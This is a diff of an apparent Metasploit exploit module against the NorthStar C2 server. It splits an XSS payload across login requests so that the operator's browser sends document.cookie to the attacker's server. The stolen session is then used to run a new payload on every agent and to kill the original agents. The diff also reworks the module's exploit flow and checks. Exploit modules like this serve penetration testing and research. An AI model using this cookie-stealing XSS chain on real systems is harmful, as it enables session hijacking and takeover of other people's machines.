@@ -21,6 +21,7 @@ def initialize(info = {})
21
21
An unauthenticated user can simulate an agent registration to cause the XSS and take over a users session.
22
22
With this access, it is then possible to run a new payload on all of the NorthStar C2 compromised hosts
23
23
(agents), and kill the original agent.
24
+
24
25
Successfully tested against NorthStar C2 commit e7fdce148b6a81516e8aa5e5e037acd082611f73 running on
25
26
Ubuntu 22.04. The agent was running on Windows 10 19045.
26
27
} ,
@@ -30,7 +31,7 @@ def initialize(info = {})
30
31
'chebuya' # original PoC, analysis
31
32
] ,
32
33
'DefaultOptions' => {
33
- 'WfsDelay' => 3_600 , # 1hr
34
+ # 'WfsDelay' => 3_600, # 1hr
34
35
'URIPATH' => '/' # avoid long URLs due to 20char limit in xss payloads
35
36
} ,
36
37
'References' => [
@@ -145,7 +146,7 @@ def steal_agents(cookie)
145
146
agent_exec ( agent_id , csrf_token , cookie , payload . encoded )
146
147
vprint_status ( " (#{ agent_id } ) Disabling shell mode" )
147
148
agent_exec ( agent_id , csrf_token , cookie , 'disablecmd' )
148
- break unless datastore [ 'KILL' ]
149
+ next unless datastore [ 'KILL' ]
149
150
150
151
vprint_status ( " (#{ agent_id } ) Killing NorthStar payload" )
151
152
agent_exec ( agent_id , csrf_token , cookie , 'die' )
@@ -210,16 +211,15 @@ def srvhost
210
211
datastore [ 'SRVHOST' ]
211
212
end
212
213
213
- def exploit
214
- fail_with ( Failure ::BadConfig , 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful' ) if srvhost == '0.0.0.0'
215
- fail_with ( Failure ::BadConfig , 'SRVPORT and FETCH_SRVPORT must be different' ) if datastore [ 'SRVPORT' ] == datastore [ 'FETCH_SRVPORT' ]
214
+ def primer
216
215
@xss_response_received = false
217
216
vprint_status ( 'Sending XSS' )
218
217
# divide up the host length so that it fits in our payload
219
218
h1 = srvhost [ 0 ...srvhost . length / 2 ]
220
219
h2 = srvhost [ srvhost . length / 2 ..]
221
- sid_payloads = [ 'N */</script><q ' , 'N */i.src=u/*q ' , 'N */new Image;/*q ' , 'N */var i=/*q ' , "N */s+h+p+'/'+c;/*q " , 'N */var u=/*q ' , "N */'http://';/*q " , 'N */var s=/*q ' , "N */':#{ datastore [ 'SRVPORT' ] } ';/*q " , 'N */var p=/*q ' , 'N */a+b;/*q ' , 'N */var h=/*q ' , "N */'#{ h2 } ';/*q " , 'N */var b=/*q ' , "N */'#{ h1 } ';/*q " , 'N */var a=/*q ' , 'N */d.cookie;/*q ' , 'N */var c=/*q ' , 'N */document;/*q ' , 'N */var d=/*q ' , 'N </td><script>/*q ' ]
220
+ sid_payloads = [ '*/</script><' , '*/i.src=u/*' , '*/new Image;/*' , '*/var i=/*' , "*/s+h+p+'/'+c;/*" , '*/var u=/*' , "*/'http://';/*" , '*/var s=/*' , "*/':#{ datastore [ 'SRVPORT' ] } ';/*" , '*/var p=/*' , '*/a+b;/*' , '*/var h=/*' , "*/'#{ h2 } ';/*" , '*/var b=/*' , "*/'#{ h1 } ';/*" , '*/var a=/*' , '*/d.cookie;/*' , '*/var c=/*' , '*/document;/*' , '*/var d=/*' , '</td><script>/*' ]
222
221
sid_payloads . each do |pload |
222
+ pload = "N#{ pload } q"
223
223
vprint_status ( "Sending: #{ pload } " )
224
224
res = send_request_cgi (
225
225
'uri' => normalize_uri ( target_uri . path , 'login.php' ) ,
@@ -230,8 +230,14 @@ def exploit
230
230
)
231
231
232
232
fail_with ( Failure ::Unreachable , "#{ peer } - Could not connect to web service - no response" ) if res . nil?
233
+ fail_with ( Failure ::UnexpectedReply , "#{ peer } - Unexpected HTTP code received: #{ res . code } " ) unless res . code == 200
233
234
end
234
235
print_status ( 'Waiting on XSS execution' )
236
+ end
237
+
238
+ def exploit
239
+ fail_with ( Failure ::BadConfig , 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful' ) if Rex ::Socket . is_ip_addr? ( datastore [ 'SRVHOST' ] ) && Rex ::Socket . addr_atoi ( datastore [ 'SRVHOST' ] ) == 0
240
+ fail_with ( Failure ::BadConfig , 'SRVPORT and FETCH_SRVPORT must be different' ) if datastore [ 'SRVPORT' ] == datastore [ 'FETCH_SRVPORT' ]
235
241
super
236
242
end
237
243
end
0 commit comments